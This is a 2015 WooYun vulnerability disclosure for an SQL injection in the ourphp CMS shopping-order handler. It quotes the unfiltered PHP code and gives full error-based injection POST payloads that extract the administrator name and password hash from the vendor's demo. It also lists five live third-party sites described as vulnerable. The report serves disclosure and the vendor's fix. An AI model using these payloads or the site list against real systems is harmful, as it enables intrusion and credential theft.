当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099831

漏洞标题:傲派建站系统(ourphp cms)sql注射漏洞(官网demo演示)

相关厂商:ourphp.net

漏洞作者: iori

提交时间:2015-04-14 11:01

修复时间:2015-07-13 11:08

公开时间:2015-07-13 11:08

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:7

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-14: 细节已通知厂商并且等待厂商处理中
2015-04-14: 厂商已经确认,细节仅向厂商公开
2015-04-17: 细节向第三方安全合作伙伴开放
2015-06-08: 细节向核心白帽子及相关领域专家公开
2015-06-18: 细节向普通白帽子公开
2015-06-28: 细节向实习白帽子公开
2015-07-13: 细节向公众公开

简要描述:

rt

详细说明:

漏洞出现在function/ourphp_shoppingorders.class.php

}elseif ($_GET["ourphp_cms"] == "buyok"){
if (!empty($_POST["id"])){
$id = implode(',',$_POST["id"]);
}else{
$id = 0;
}
if ($id == 0){
exit("no!");
}
$query = $db-> sqllist("select `OP_Ordersnum`,`OP_Ordersusermarket`,`OP_Ordersfreight`,`OP_Ordersid`,`OP_Ordersproductatt` from `ourphp_orders` where `id` in (".$id.")");


POST数组id没有任何过滤,就拼接成字符串带入查询。

漏洞证明:

上官网demo
http://demo.ourphp.net
先随便注册一个用户

1.PNG


暴管理员用户名
post如下代码提交给http://demo.ourphp.net/?cn-shoppingorders.html-&ourphp_cms=buyok

id[0]=1) AND (SELECT 1 FROM(SELECT count(*),CONCAT(0x7c,(SELECT MID(OP_Adminname,1,50) FROM ourphp_admin ORDER BY OP_Adminname LIMIT 0,1),0x7c,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (1=1&shoppingname=lx&shoppingtel=13422114456&shoppingadd=asdf&Submit=%E6%94%B6%E9%93%B6%E5%8F%B0%E7%BB%93%E7%AE%97


2.PNG


用户名outphp
暴管理员口令hash

id[0]=1) AND (SELECT 1 FROM(SELECT count(*),CONCAT(0x7c,(SELECT MID(OP_Adminpass,1,50) FROM ourphp_admin ORDER BY OP_Adminname LIMIT 0,1),0x7c,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (1=1&shoppingname=lx&shoppingtel=13422114456&shoppingadd=asdf&Submit=%E6%94%B6%E9%93%B6%E5%8F%B0%E7%BB%93%E7%AE%97


3.PNG


2015年2月~3月才出的1.0和1.1版本的cms。找5个实例本屌还是费老劲了,还都是未完善的网站。
1.http://www.xqita.com/?cn-shoppingorders.html-&ourphp_cms=buyok

4.PNG


2.http://www.itouxiao.net/?cn-shoppingorders.html-&ourphp_cms=buyok

5.png


3.http://arrowlove.com/?cn-shoppingorders.html-&ourphp_cms=buyok

6.PNG


4.http://42078.vhost54.boxcdn.cn/?cn-shoppingorders.html-&ourphp_cms=buyok

6.5.PNG


5.http://hyqhhg.com/?cn-shoppingorders.html-&ourphp_cms=buyok

7.PNG

修复方案:

过滤id

版权声明:转载请注明来源 iori@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-14 11:06

厂商回复:

我们在V1.2会修复.

最新状态:

暂无